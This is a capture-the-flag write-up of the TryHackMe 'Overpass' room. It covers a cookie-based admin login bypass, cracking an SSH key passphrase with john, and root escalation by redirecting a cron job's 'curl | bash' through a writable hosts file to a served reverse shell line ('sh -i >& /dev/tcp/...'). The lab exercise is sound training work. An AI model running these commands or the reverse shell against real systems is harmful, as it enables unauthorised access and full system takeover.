https://tryhackme.com/room/overpass
💭 Thoughts after doing the room
Honestly I think this one shouldn’t be in the easy category. Setting cookies manually, reading javascript and go code deserves medium in my opinion.
I enjoyed the beginning of that room. Getting root.txt
(via the intended way) was not possible with the Attack Box, because the Attack Box hosts the VNC session utilizing port 80, which means you can’t easily open a webserver on that port to get the reverse shell. If you kill the process you lose your (Desktop) session.
Maybe the CTF is older and the Attack Box changed, but I think in its current form it’s only solvable if you either use your self hosted attack box via VPN or connect via SSH and kill the python helper process for VNC (which I did).
Task 1: Overpass
Hack the machine and get the flag in user.txt
No hints, so first a quick nmap scan
root@ip-10-10-149-126:~# IP=10.10.197.9
root@ip-10-10-149-126:~# nmap -T4 $IP
Starting Nmap 7.60 ( https://nmap.org ) at 2023-04-05 20:14 BST
Nmap scan report for ip-10-10-197-9.eu-west-1.compute.internal (10.10.197.9)
Host is up (0.026s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 02:D0:26:64:92:55 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
The open http port is interesting so I’ll try to open the page in Firefox
So a password manager. I’ll explore the site more and you see downloads for the source and different distrubutions. I checked if I can find something in the buildscipt.sh
or overpass.go
but found nothing regarding the login.
Let’s try gobuster with the common Web-Content list
root@ip-10-10-149-126:~# gobuster dir --url http://$IP -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.197.9
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2023/04/05 20:20:54 Starting gobuster
===============================================================
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
/downloads (Status: 301)
/img (Status: 301)
/index.html (Status: 301)
===============================================================
2023/04/05 20:20:54 Finished
===============================================================
Admin path looks interesting. Admin page is just a webform.
I try admin admin for fun. Doesn’t work. I could try to bruteforce with username admin
but it’s unusual for TryHackMe to not let me find an admin username before bruteforcing. Because this could take very long, I’m searching for other possibilities.
After quite some time I stumble upon the login.js
script on the admin
page which isn’t minified and could be interesting:
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
First I try to call the /api/login
endpoint manually. Maybe there is a hint. But it’s just 404.
Maybe it’s worth setting the cookie with any value to trigger an error message for the API that would tell us more. For that I go to Firefox developer tools. Click the +
sign and name the value to SessionToken
like in the JavaScript.
I refresh the page and … it just works. I’m in. 👀
The name James
is mentioned and you get a raw private key.
The private key is encrypted with a passphrase, so I first need to crack the passphrase. I use john
for this. ssh2john
can be used to get the hash.
root@ip-10-10-149-126:~/overpass# vim privkey
root@ip-10-10-149-126:~/overpass# chmod 600 privkey
root@ip-10-10-149-126:~/overpass# locate ssh2john
/opt/john/ssh2john.py
root@ip-10-10-149-126:~/overpass# which python
/usr/bin/python
root@ip-10-10-149-126:~/overpass# python /opt/john/ssh2john.py privkey > privkey_hash
root@ip-10-10-149-126:~/overpass# cat privkey_hash
privkey:$sshng$1$16$9F85D92F34F42626F13A749 [ ...]
I use the rockme
wordlist with john
again
root@ip-10-10-149-126:~/overpass# john --wordlist=/usr/share/wordlists/rockyou.txt privkey_hash
Note: This format may emit false positives, so it will keep trying even after finding a
possible candidate.
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
🤐 (privkey)
1g 0:00:00:11 DONE (2023-04-05 20:59) 0.08904g/s 1277Kp/s 1277Kc/s 1277KC/s *7¡Vamos!
Session completed.
Got the password pretty fast.
Trying to login with james
works 🎉
root@ip-10-10-149-126:~/overpass# ssh -i privkey James@$IP
Enter passphrase for key 'privkey':
Connection closed by 10.10.197.9 port 22
root@ip-10-10-149-126:~/overpass# ssh -i privkey james@$IP
Enter passphrase for key 'privkey':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)
Check what’s in the user directory
james@overpass-prod:~$ ls -lah
total 48K
drwxr-xr-x 6 james james 4.0K Jun 27 2020 .
drwxr-xr-x 4 root root 4.0K Jun 27 2020 ..
lrwxrwxrwx 1 james james 9 Jun 27 2020 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Jun 27 2020 .bash_logout
-rw-r--r-- 1 james james 3.7K Jun 27 2020 .bashrc
drwx------ 2 james james 4.0K Jun 27 2020 .cache
drwx------ 3 james james 4.0K Jun 27 2020 .gnupg
drwxrwxr-x 3 james james 4.0K Jun 27 2020 .local
-rw-r--r-- 1 james james 49 Jun 27 2020 .overpass
-rw-r--r-- 1 james james 807 Jun 27 2020 .profile
drwx------ 2 james james 4.0K Jun 27 2020 .ssh
-rw-rw-r-- 1 james james 438 Jun 27 2020 todo.txt
-rw-rw-r-- 1 james james 38 Jun 27 2020 user.txt
Output both
james@overpass-prod:~$ cat user.txt
thm{🤐}
james@overpass-prod:~$ cat todo.txt
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
They're not updating on the website
We got the flag and some more info to work with.
Escalate your privileges and get the flag in root.txt
I try sudo -l
with no sucess.
The todo.txt
suggests that there there is an additional password saved with the password manager they’re developing themselves. When I checked what’s in the user directory before I already saw a .overpass
file.
When I output this file I see that there is an encrypted string I don’t know what to do with yet.
james@overpass-prod:~$ cat .overpass
,LQ?2>6🤐FC6QN.james@overpass-prod:~$
I need to find out what the password manager does. Unfortunately I’m no go coder, so I decide to only read the comments of the functions for now. The first entry already looks interesting, because they name the encryption algorithm, which is ROT47. I check if Cyberchef can do this, and yes, Cyberchef can do everything:
Instead of testing everything manually now I copy over linpeas
root@ip-10-10-149-126:~/overpass# scp -i privkey linpeas.sh james@$IP:/home/james
Enter passphrase for key 'privkey':
linpeas.sh
Some points I noticed:
- no other readable private keys
SUID
nothing interesting- I see it’s vulnerable to CVE-2021-4034, but I don’t think we’re looking for out-of-bonds write and read exploits here. And the CVE isn’t that old.
but under cronjobs I see that there is a curl command for a .thm
domain. Suspicious 🤭
james@overpass-prod:~$ cat /etc/crontab
[ ... ]
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
So I check what this resolves to
james@overpass-prod:~$ dig +short overpass.thm
127.0.0.1
It runs locally.
I check what it does.
james@overpass-prod:~$ curl overpass.thm/downloads/src/buildscript.sh
GOOS=linux /usr/local/go/bin/go build -o ~/builds/overpassLinux ~/src/overpass.go
## GOOS=windows /usr/local/go/bin/go build -o ~/builds/overpassWindows.exe ~/src/overpass.go
## GOOS=darwin /usr/local/go/bin/go build -o ~/builds/overpassMacOS ~/src/overpass.go
## GOOS=freebsd /usr/local/go/bin/go build -o ~/builds/overpassFreeBSD ~/src/overpass.go
## GOOS=openbsd /usr/local/go/bin/go build -o ~/builds/overpassOpenBSD ~/src/overpass.go
echo "$(date -R) Builds completed" >> /root/buildStatus
It just outputs the build script.
I try to figure out if I can find the buildscript locally
james@overpass-prod:~$ find / -name buildscript.sh 2>/dev/null
no luck. Then I check with htop
which webserver is running and it’s a custom one in /home/tryhackme
. I don’t have access.
james@overpass-prod:~$ cd /home/tryhackme/
-bash: cd: /home/tryhackme/: Permission denied
Then I check if I can change the .thm
DNS entry.
james@overpass-prod:~$ ls -ld /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 2020 /etc/hosts
looks like the hosts file is writable to anyone. Let’s replace the entry and use my attack box IP.
I re-create the folder structure and edit the file with a reverse shell one liner
root@ip-10-10-149-126:~/overpass# mkdir -p downloads/src
root@ip-10-10-149-126:~/overpass# vim downloads/src/buildscript.sh
inside of the buildscript is this line
sh -i >& /dev/tcp/10.10.149.126/1337 0>&1
I then start the python server on port 80
root@ip-10-10-149-126:~/overpass# python3 -m http.server 80
Traceback (most recent call last):
File "/usr/lib/python3.6/runpy.py", line 193, in _run_module_as_main
"__main__", mod_spec)
File "/usr/lib/python3.6/runpy.py", line 85, in _run_code
exec(code, run_globals)
File "/usr/lib/python3.6/http/server.py", line 1211, in <module>
test(HandlerClass=handler_class, port=args.port, bind=args.bind)
File "/usr/lib/python3.6/http/server.py", line 1185, in test
with ServerClass(server_address, HandlerClass) as httpd:
File "/usr/lib/python3.6/socketserver.py", line 456, in __init__
self.server_bind()
File "/usr/lib/python3.6/http/server.py", line 136, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.6/socketserver.py", line 470, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use
Port 80 is already in use on our attack machine. I check for what it’s used.
root@ip-10-10-149-126:~/overpass# netstat -tulpn | grep 80
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1251/python
tcp6 0 0 :::7778 :::* LISTEN 1780/docker-proxy
root@ip-10-10-149-126:~/overpass# ps -Flww -p 1251
F S UID PID PPID C PRI NI ADDR SZ WCHAN RSS PSR STIME TTY TIME CMD
1 S root 1251 1 0 80 0 - 46171 poll_s 23480 0 20:12 ? 00:00:03 python -m websockify 80 localhost:5901 -D
Oh no. It’s used to run the VNC server that is used to make the attack box session available in my browser. -.-
I could spin up my own virtual machine and connect via VPN to the TryHackMe network and then host the python server on port 80, but I kinda don’t want to.
I quickly thought about just stopping here, but then I decided to login to the THM attack box via ssh, kill the process that uses port 80 and started my simple python server.
root@ip-10-10-149-126:~/overpass# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.197.9 - - [05/Apr/2023 22:48:01] "GET /downloads/src/buildscript.sh HTTP/1.1" 200 -
The cronjob sucessfully pulls the file. nc
which I started before the python webserver not received a connection and I was able to execute commands and get the root flag.
root@ip-10-10-149-126:~# nc -nvlp 1337
Listening on [0.0.0.0] (family 0, port 1337)
whoami
Connection from 10.10.197.9 45058 received!
sh: 0: can't access tty; job control turned off
# root
#
#
# ls
buildStatus
builds
go
root.txt
src
# cat root.txt
thm{🤭}